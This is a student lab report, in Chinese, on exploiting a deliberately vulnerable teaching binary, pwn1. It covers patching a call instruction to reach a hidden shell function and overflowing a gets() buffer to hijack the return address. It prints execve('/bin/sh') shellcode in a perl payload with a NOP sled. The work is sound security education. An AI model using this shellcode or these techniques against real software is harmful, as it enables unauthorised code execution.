20242304 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20242304 2025-2026-1 《网络与系统攻防技术》实验一实验报告
姓名:张家玮
实验名称:逆向破解与 BOF(Buffer Overflow)
实验环境:Kali Linux 虚拟机(64 位系统,运行 32 位程序 pwn1;主机名已改为姓名拼音zhangjiawei),工具:objdump、gdb(含 GEF 插件)、checksec、vi+xxd、perl、xxd、core dump
1. 基础知识
1.1 汇编指令与机器码
一条汇编指令对应一条机器指令
本实验涉及指令的机器码如下:
| 指令 | 机器码 | 说明 |
|---|---|---|
| NOP | 0x90 |
空操作,滑板(sled)填充用,执行到它会顺势滑向后面的指令 |
| JE | 0x74 xx |
相等则跳(短跳转,相对偏移) |
| JNE | 0x75 xx |
不相等则跳(短跳转,相对偏移) |
| JMP | 0xEB xx / 0xE9 xxxxxxxx |
无条件跳转,短跳转与近跳转两种 |
| CMP | 0x38~0x3D 系列 |
比较两个操作数,影响标志位 |
另外
call=0xE8+ 4 字节相对偏移(补码表示)。x86 的 call 是相对寻址,目标地址 = call 指令地址 + 5 + 偏移量,与 ASLR 无关(代码段地址固定)。- x86 采用小端序,多字节数据(如地址
0x0804847d)在内存和文件里低字节在前,写作\x7d\x84\x04\x08。
1.2 反汇编与文本编程器
- 反汇编是汇编的逆过程,把机器码还原成汇编代码。Linux 下用
objdump -d即可,常配合grep -A n "<main>:"只看某个函数。 - 本实验用 vi 这个文本编程器用于修改二进制文件。跟vim差不多。其中,
:%!xxd进入十六进制模式,二进制文件用 vi 直接打开是乱码,先切十六进制模式方便人看。
1.3 ELF 文件与进程内存布局
ELF 是 Linux 的可执行文件格式(Windows 是 PE)。文件中的 .text 段是只读代码,.data/.bss 是全局数据。程序运行时操作系统把它加载进内存,每个进程有独立的虚拟地址空间,32 位非 PIE 程序的代码段一般固定在 0x08048000 附近。
程序运行时内存从低地址到高地址大致是:.text 代码 → .data/.bss 数据 → 堆(向上增长)→ 栈(向下增长)→ 内核空间。
栈帧是函数在栈上的"工作区",保存三类关键数据:局部变量、旧的 EBP(上一个栈帧的位置)、返回地址。CPU 通过三个寄存器配合工作:EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是改EIP。
1.4 BOF 漏洞与 Shellcode
- BOF(Buffer Overflow,缓冲区溢出):程序向栈上的缓冲区写数据时不检查长度(如
gets()),输入超过缓冲区大小后,多余的字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret把被覆盖的值弹入 EIP,程序就跳到了攻击者指定的地址。 - Shellcode:一段让 CPU 直接执行的二进制机器指令(不是汇编文本),通常用来执行
execve("/bin/sh")弹出一个 shell。本实验使用的是经典的 25 字节 shellcode,大致逻辑是:xor eax 后三次 push 在栈上构造字符串//bin/sh及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后int 0x80触发软中断交给内核执行。 - NOP 滑梯:在 shellcode 前填充大量
0x90,只要 EIP 落在滑梯任意位置,都会"滑"进 shellcode,从而提高攻击命中率(因为栈地址可能因启动方式不同而有小幅偏差)。
1.5 常见防护机制
- ASLR(地址空间随机化):随机化栈、堆、共享库的加载地址,让攻击者猜不到缓冲区地址;
- NX(栈不可执行):栈上数据不能当代码跑,shellcode 注入失效;
- Canary(栈保护):在返回地址前放一个随机"金丝雀"值,被覆盖时程序主动崩溃。
本实验的程序是特意编译成"不设防"的(32 位、NX 关闭),用于教学。实验前用 checksec --file=./pwn1 确认:NX disabled、无 Canary、No PIE。
1.6 小端序
x86架构在内存中存放多字节数据时采用小端序,即低字节存放在低地址。例如地址 0x0804847d 在内存中的字节排列为 7d 84 04 08(从低地址到高地址)。构造payload时必须按这个顺序写入,这也是任务二、任务三中地址写法看起来“倒过来”的原因。
2. 实验内容
实验对象是 32 位 Linux 可执行文件 pwn1。
正常过程是 main 调用 foo,foo 用 gets() 回显输入;
但本程序中还有个的 getShell 函数(内部执行 system("/bin/sh"))。
本次实验目标是想办法运行 getShell,并进一步注入自定义 shellcode。
| 任务 | 攻击手段 | 利用的原理 | 涉及的主要工具/指令 |
|---|---|---|---|
| 任务一 | 十六进制编辑改可执行文件 | Call 指令偏移、EIP、补码 | objdump、vi + xxd、十六进制编辑器 |
| 任务二 | 构造输入字符串覆盖返回地址 | 堆栈结构、返回地址 | gdb、perl、xxd |
| 任务三 | 注入自构造 Shellcode | RNS payload 布局、栈可执行 | execstack、gdb attach、nc |
3. 实验过程
3.0 实验准备
文件传输:pwn1 最初在 Windows 宿主机上。直接拖拽到 Kali 桌面会出现红色禁止符号,于是询问豆包AI可知,要实现安全可靠的传输,需要通过以下步骤:

- 在你的本地电脑,找到存放
pwn1的文件夹,在这个文件夹里打开 cmd(powershell) - 在 cmd 里执行:
python -m http.server 8000
如果提示 python 不是命令,就用:
python3 -m http.server 8000
- 看 Windows 网卡 IP:cmd 输入
ipconfig,找到虚拟机网卡(VMnet8)的 IPv4,比如192.168.137.1 - 切换到 Kali 终端,输入:
wget http://192.168.137.1:8000/pwn1
把 IP 换成你 Windows 的 IP,文件直接下载到 kali 当前目录。
- 下载完成,赋予执行权限:
chmod +x pwn1
验证:
ls,看到 pwn1 文件,然后执行你之前的反汇编命令:objdump -d pwn1 | more
- 传完文件后,Windows cmd 里按
Ctrl+C关闭临时服务器。





foo 里面会有一条 call 指令,我们后面修改这条 call 的机器码偏移,让它跳转到getShell
这里有两个文件pwn1和pwn1.1.主要是我第一次做的时候把文件pwn1损坏了,方便起见我又把原始文件重新复制粘贴在虚拟机上,命名为pwn1.1
反汇编得出的hints:
-
foo 地址:
0x08048491 -
getShell 地址:
0x0804847d -
call foo指令:0x080484b5,机器码e8 d7 ff ff ff -
foo 的
ret指令:0x080484ae3.1任务一:直接修改程序机器指令,改变程序执行流程
反汇编找目标
下载目标文件 pwn1,反汇编。下面只保留最核心的几行代码:
root@KaliYL:~# objdump -d pwn1 | more 0804847d <getShell>: 804847d: 55 push %ebp ... 08048491 <foo>: 8048491: 55 push %ebp ... 080484af <main>: ... 80484b5: e8 d7 ff ff ff call 8048491 <foo> 80484ba: b8 00 00 00 00 mov $0x0,%eax ...

3.2 读懂 call 指令:EIP + 偏移
- call 8048491 <foo> 是汇编指令,说这条指令将调用位于地址 8048491 处的 foo 函数
- 其对应机器指令为 e8 d7ffffff:
- e8 即跳转(call)之意
- 正常流程下,此时此刻 EIP 的值应该是下条指令的地址,即 80484ba
- CPU 执行 e8 这条指令时,会转而执行 “EIP + d7ffffff” 位置的指令
- d7ffffff 是补码,表示 -41:
- 41 = 0x29,80484ba + (-0x29) = 8048491,正好是 foo 的地址
> 想让 main 调用 getShell? 只要把 d7ffffff 改成 “getShell - 80484ba” 对应的补码即可。
--
计算新的偏移并修改文件
- main 函数调用 foo,机器指令为 e8 d7ffffff
- 想让它调用 getShell,只要修改 d7ffffff 为 “getShell - 80484ba” 对应的补码
- 用计算器直接 47d - 4ba,得到补码 c3ffffff
- 下面修改可执行文件,把 call 指令的目标 由 d7ffffff 变为 c3ffffff
root@KaliYL:~# cp pwn1 pwn2 root@KaliYL:~# vi pwn2


vi 十六进制编辑步骤
| 步骤 | vi 内操作 | 说明 |
| --- | -------------- | ----------- |
| 1 | 按 ESC | 确保在普通模式 |
| 2 | :%!xxd | 切换为十六进制显示模式 |
| 3 | /e8d7 | 查找要修改的内容 |
| 4 | 前后内容与反汇编对比 | 确认位置正确 |
| 5 | 把 d7 改为 c3 | 修改 call 偏移 |
| 6 | :%!xxd -r | 转换回二进制格式 |
| 7 | :wq | 存盘退出 |

验证:反汇编 + 运行
再反汇编看一下, call 指令是否已正确调用 getShell
运行改后的代码, 会得到 shell 提示符 #

任务一搞定!
3.3任务二:利用 foo 的 BOF 漏洞覆盖返回地址
由反汇编可知:缓冲区在 EBP 下方 0x1c = 28 字节处,EBP 本身占 4 字节
故从缓冲区开头到返回地址正好相距 32 字节也就是说,输入 32 字节填充,第 33~36 字节就是要写入的新返回地址。
用 gdb 验证偏移量:




EIP = 0x34333231,即 “1234” 的逆序(小端字节序)。
这说明:在字符串中写的顺序是正序,但存入内存后是逆序的。
执行攻击:

攻击成功,终端出现 $ 提示符,执行 whoami(kali)、ls 验证 shell 可用。
但是我也有一个大大的疑惑,为啥没有$ 提示符?(前面还有一串乱码),但确实是一个shell?
通过查询豆包AI可知,首先,乱码是正常回显:foo 里的 puts(buf) 在攻击生效前把输入原样打印了一遍。32 个填充字符正常显示,最后的 7d 84 04 08 四字节不是可打印字符,终端显示为 ◆� 说明 payload 完整到达了缓冲区。 没有判断成功的标准是命令有没有被执行(whoami 返回 kali、ls 正常),而不是有没有提示符。想要看到 $,可用 script -q -c "./pwn1" /dev/null 包一层伪终端。
任务二搞定!
3.4 任务三:注入自定义 Shellcode 并运行
前置检查:
checksec --file=./pwn1

first try(failed)shellcode 放在返回地址下方,因为自覆写崩了
按常见的"NOP 滑梯 + shellcode + 返回地址"布局构造 payload,返回地址暂用占位符:
perl -e 'print "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x90" . "\x04\x03\x02\x01" . "\x00"' > input_shellcode_20242320
两个终端配合定位:终端 1 运行 (cat input_shellcode_20242320; cat) | ./pwn1,终端 2 ps aux | grep pwn1 找到 PID 后 gdb -p <PID>,break *0x080484ae(foo 的 ret),c 后回终端 1 按回车触发断点:
(gdb) info registers esp # esp = 0xffffcf6c,指向占位符 0x01020304
(gdb) x/24x $esp-0x28



栈内容可见 0x90909090(滑梯)、0xc0319090(滑梯尾 + shellcode 开头 31 c0)、0x01020304(占位符),推算出 shellcode 起始 = esp − 30 = 0xffffcf52。
于是把返回地址指向滑梯中部 0xffffcf4e,构造 input_shellcode2_20242304

4. 问题及解决方案
-
问题 1:pwn1 文件从 Windows 传不进 Kali。
- 在你的本地电脑,找到存放
pwn1的文件夹,在这个文件夹里打开 cmd(powershell) - 在 cmd 里执行:
python -m http.server 8000如果提示 python 不是命令,就用:
python3 -m http.server 8000- 看 Windows 网卡 IP:cmd 输入
ipconfig,找到虚拟机网卡(VMnet8)的 IPv4,比如192.168.137.1 - 切换到 Kali 终端,输入:
wget http://192.168.137.1:8000/pwn1把 IP 换成你 Windows 的 IP,文件直接下载到 kali 当前目录。
- 下载完成,赋予执行权限:
chmod +x pwn1验证:
ls,看到 pwn1 文件,然后执行你之前的反汇编命令:objdump -d pwn1 | more- 传完文件后,Windows cmd 里按
Ctrl+C关闭临时服务器。
- 在你的本地电脑,找到存放
-
问题 2:vi 修改字节时误操作导致交换文件残留。
改错字节后按Ctrl+Z想"撤销",实际上只是把 vi 挂起(进程仍在后台运行),再次打开文件时 vi 报E325: ATTENTION ... Swap file already exists。解决:先选(Q)uit放弃本次打开,fg把挂起的 vi 唤回前台,:q!正常退出不保存,再rm -f .pwn1_20242320.swp清除残留。教训:vi 里退出用:q(放弃保存用:q!),不要用 Ctrl+Z;二进制视图下只能用方向键/hjkl 移动光标,按字母键等于编辑。然后实在不行就从Windows上面重新传进来一份干净的新的文件重新命名重新操作。 -
问题 3:任务二 gdb 验证时输入被当成 shell 命令。
gdb pwn1_20242304运行后直接弹出$,输入的 40 个测试字符被 shell 执行报not found。原因:任务一改过的文件 main 直接调用 getShell,不再经过 foo 的 gets。解决:任务二及之后的所有 BOF 实验都改用原始文件pwn1。 -
问题 4:任务三第一次注入失败,且
gdb ./pwn1 core报文件不存在。
失败现象是段错误;core 方面,第一次崩溃后目录里没有名为core的文件。排查发现cat /proc/sys/kernel/core_uses_pid为 1,文件名带进程号后缀,实际文件是core.65989,用全名gdb ./pwn1 core.65989即可。
5. 学习感悟、思考等
本次实验是网络与系统攻防技术的第一次实验。一直觉得网络攻防是网安专业最实用最锻炼专业能力的一门课,实验就是真真正正地在上手实践去体会“攻”与“防”——如何找出漏洞攻击,又如何填补漏洞。
所以就像王老师说的,不能简简单单按部就班照着教程做完就结束了。教程详细,机械式地输入代码一步步做起来并不难;但如果脱离了教程,我们是否还清楚了解每步的具体操作和其背后的原理呢?
所以对我来说,理解这个实验用了很大的功夫。好在有刘老师的视频讲解,虽然时长较长,但是整体看下来,这次实验的逆向攻击和Bof攻击都让我留下了一个整体且深刻的印象。再加上网上查阅资料,我更加扩宽了自己的知识面,会将为未来的网络攻防学习打下好的基础。
浙公网安备 33010602011771号